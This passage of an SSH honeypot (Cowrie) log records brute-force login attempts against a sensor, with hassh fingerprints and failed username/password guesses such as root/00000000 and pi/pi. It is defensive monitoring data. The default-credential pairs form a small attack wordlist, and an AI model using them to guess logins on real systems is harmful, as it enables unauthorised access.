stp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:48.786778Z","src_ip":"192.109.200.78","session":"71261f38ea07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:49.066106Z","src_ip":"192.109.200.78","session":"71261f38ea07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41852,"dst_ip":"159.203.135.109","dst_port":22,"session":"b76888697fec","protocol":"ssh","message":"New connection: 159.203.92.129:41852 (159.203.135.109:22) [session: b76888697fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:49.083068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:49.088120Z","src_ip":"159.203.92.129","session":"b76888697fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:49.093070Z","src_ip":"159.203.92.129","session":"b76888697fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a","message":"login attempt [admin/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:49.106493Z","src_ip":"159.203.92.129","session":"b76888697fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:50.112866Z","src_ip":"159.203.92.129","session":"b76888697fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:50.151474Z","src_ip":"192.109.200.78","session":"71261f38ea07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34046,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd98e6d3ff0","protocol":"ssh","message":"New connection: 192.109.200.78:34046 (10.17.0.5:22) [session: 6fd98e6d3ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:52.966078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:52.970444Z","src_ip":"192.109.200.78","session":"6fd98e6d3ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:53.052408Z","src_ip":"192.109.200.78","session":"6fd98e6d3ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:53.409492Z","src_ip":"192.109.200.78","session":"6fd98e6d3ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:54.575499Z","src_ip":"192.109.200.78","session":"6fd98e6d3ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34048,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ed14a48af3","protocol":"ssh","message":"New connection: 192.109.200.78:34048 (10.17.0.5:22) [session: 43ed14a48af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:57.203501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:57.208440Z","src_ip":"192.109.200.78","session":"43ed14a48af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:57.297889Z","src_ip":"192.109.200.78","session":"43ed14a48af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:57.557621Z","src_ip":"192.109.200.78","session":"43ed14a48af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:40:58.644879Z","src_ip":"192.109.200.78","session":"43ed14a48af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f086e3d1f5","protocol":"ssh","message":"New connection: 192.109.200.78:60968 (10.17.0.5:22) [session: 97f086e3d1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:01.249424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:01.254307Z","src_ip":"192.109.200.78","session":"97f086e3d1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:01.343440Z","src_ip":"192.109.200.78","session":"97f086e3d1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:01.594434Z","src_ip":"192.109.200.78","session":"97f086e3d1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:02.682635Z","src_ip":"192.109.200.78","session":"97f086e3d1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60988,"dst_ip":"10.17.0.5","dst_port":22,"session":"79e48edc5a0e","protocol":"ssh","message":"New connection: 192.109.200.78:60988 (10.17.0.5:22) [session: 79e48edc5a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:05.491071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:05.496850Z","src_ip":"192.109.200.78","session":"79e48edc5a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:05.581580Z","src_ip":"192.109.200.78","session":"79e48edc5a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:05.830243Z","src_ip":"192.109.200.78","session":"79e48edc5a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:06.920694Z","src_ip":"192.109.200.78","session":"79e48edc5a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56348,"dst_ip":"10.17.0.5","dst_port":22,"session":"361cfd4f280f","protocol":"ssh","message":"New connection: 192.109.200.78:56348 (10.17.0.5:22) [session: 361cfd4f280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:09.564065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:09.573424Z","src_ip":"192.109.200.78","session":"361cfd4f280f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:09.656086Z","src_ip":"192.109.200.78","session":"361cfd4f280f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:09.907454Z","src_ip":"192.109.200.78","session":"361cfd4f280f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:10.994097Z","src_ip":"192.109.200.78","session":"361cfd4f280f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56360,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86d5209dc20","protocol":"ssh","message":"New connection: 192.109.200.78:56360 (10.17.0.5:22) [session: b86d5209dc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:13.735952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:13.740666Z","src_ip":"192.109.200.78","session":"b86d5209dc20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:13.824345Z","src_ip":"192.109.200.78","session":"b86d5209dc20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:14.073369Z","src_ip":"192.109.200.78","session":"b86d5209dc20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:15.175684Z","src_ip":"192.109.200.78","session":"b86d5209dc20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38856,"dst_ip":"10.17.0.5","dst_port":22,"session":"471567e02221","protocol":"ssh","message":"New connection: 192.109.200.78:38856 (10.17.0.5:22) [session: 471567e02221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:18.032873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:18.038155Z","src_ip":"192.109.200.78","session":"471567e02221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:18.416986Z","src_ip":"192.109.200.78","session":"471567e02221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:18.681455Z","src_ip":"192.109.200.78","session":"471567e02221","protocol":"ssh"}
